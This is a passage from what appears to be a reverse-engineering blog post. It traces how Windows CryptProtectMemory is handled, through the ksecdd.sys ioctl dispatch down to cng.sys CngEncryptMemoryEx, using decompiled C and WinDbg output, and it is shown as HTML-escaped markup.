class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;ULONG&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;status&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;IO_STATUS_BLOCK&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IoStatusBlock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;g_hKsecDD&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;EncryptMemoryInitialize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;switch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dwFlags&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;nl&#34;&gt;CRYPTPROTECTMEMORY_SAME_PROCESS&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x39000e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;nl&#34;&gt;CRYPTPROTECTMEMORY_CROSS_PROCESS&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x390016&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;nl&#34;&gt;CRYPTPROTECTMEMORY_SAME_LOGON&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x39001e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x39007a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;default&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;status&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;NtDeviceIoControlFile&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;g_hKsecDD&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IoStatusBlock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;pDataIn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;cbDataIn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;pDataIn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;cbDataIn&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;status&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;STATUS_UNSUCCESSFUL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;status&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Again, the real work is done deeper, the function is simply a wrapper around an ioctl made to the &lt;code&gt;\\Device\\KsecDD&lt;/code&gt; device driver (which is opened in &lt;code&gt;EncryptMemoryInitialize&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Depending on the flags provided to &lt;code&gt;CryptProtectMemory&lt;/code&gt;, a different ioctl code will be used. Since the &lt;code&gt;CRYPTPROTECTMEMORY_SAME_PROCESS&lt;/code&gt; flag is the one of interest, the corresponding ioctl code is &lt;code&gt;0x39000e&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, it is interesting to note that there is an undocumented flag with a value of &lt;code&gt;4&lt;/code&gt; and an ioctl code of &lt;code&gt;0x39007a&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Inside the &lt;code&gt;DriverEntry&lt;/code&gt; function of &lt;code&gt;ksecdd.sys&lt;/code&gt;, the ioctl handler is registered with a generic function that handles all I/O operations for the driver:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;DriverEntry&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PDRIVER_OBJECT&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DriverObject&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;DriverObject&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MajorFunction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IRP_MJ_DEVICE_CONTROL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;KsecDispatch&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, the control is handed to the function responsible for the ioctl I/O operations:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;ulonglong&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;KsecDispatch&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;undefined8&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;param_1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PIRP&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Irp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;undefined8&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;param_3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;undefined8&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;param_4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;MajorFunction&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CurrentStackLocation&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MajorFunction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MajorFunction&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IRP_MJ_DEVICE_CONTROL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;result&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;KsecDeviceControl&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;n&#34;&gt;Irp&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AssociatedIrp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SystemBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;InputBufferLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBufferLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Irp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As one might expect, &lt;code&gt;KsecDeviceControl&lt;/code&gt; calls methods corresponding to the ioctl code. However, there is no special case for &lt;code&gt;0x39000e&lt;/code&gt;. If the ioctl code is not among the hardcoded ones, a function pointer from a global array, &lt;code&gt;gKsecDeviceControlExtension&lt;/code&gt;, is invoked.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;status&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;**&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;gKsecpDeviceControlExtension&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)(&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;InputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;InLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OutputBufferLen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IRP&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RequestorMode&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I was too lazy to statically find out how this global variable was initialized, so I simply looked in an already initialized example from a memory dump:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0: kd&amp;gt; ln poi(poi(ksecdd!gKsecpDeviceControlExtension))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Browse module&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Set bu breakpoint&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;(fffff803`0e93e900)   cng!CngDeviceControl   |  (fffff803`0e93ebd8)   cng!VerifyRegistryAccess&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Exact matches:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    cng!CngDeviceControl (void)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It seems that the driver that will be handling our ioctl is the Windows Kernel Cryptography Driver &lt;code&gt;cng.sys&lt;/code&gt;, which makes sense since the operation is related to cryptography.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s review &lt;code&gt;cng!CngDeviceControl&lt;/code&gt;. This time, a special case is present for ioctl &lt;code&gt;0x39000e&lt;/code&gt;, among others:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x39000e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x390012&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x390016&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;(((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x39001a&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x39001e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IoctlCode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x390022&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;status&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;CngEncryptMemoryEx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;OutputBuffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;OperationIsEncryption&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CipherType&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;CngEncryptMemoryEx&lt;/code&gt; is where the real work is done, which includes two flags, one to indicate whether we are encrypting or decrypting the memory, and the other to indicate which cipher to use (this function is also used by other ioctl, for instance when using a flag different than 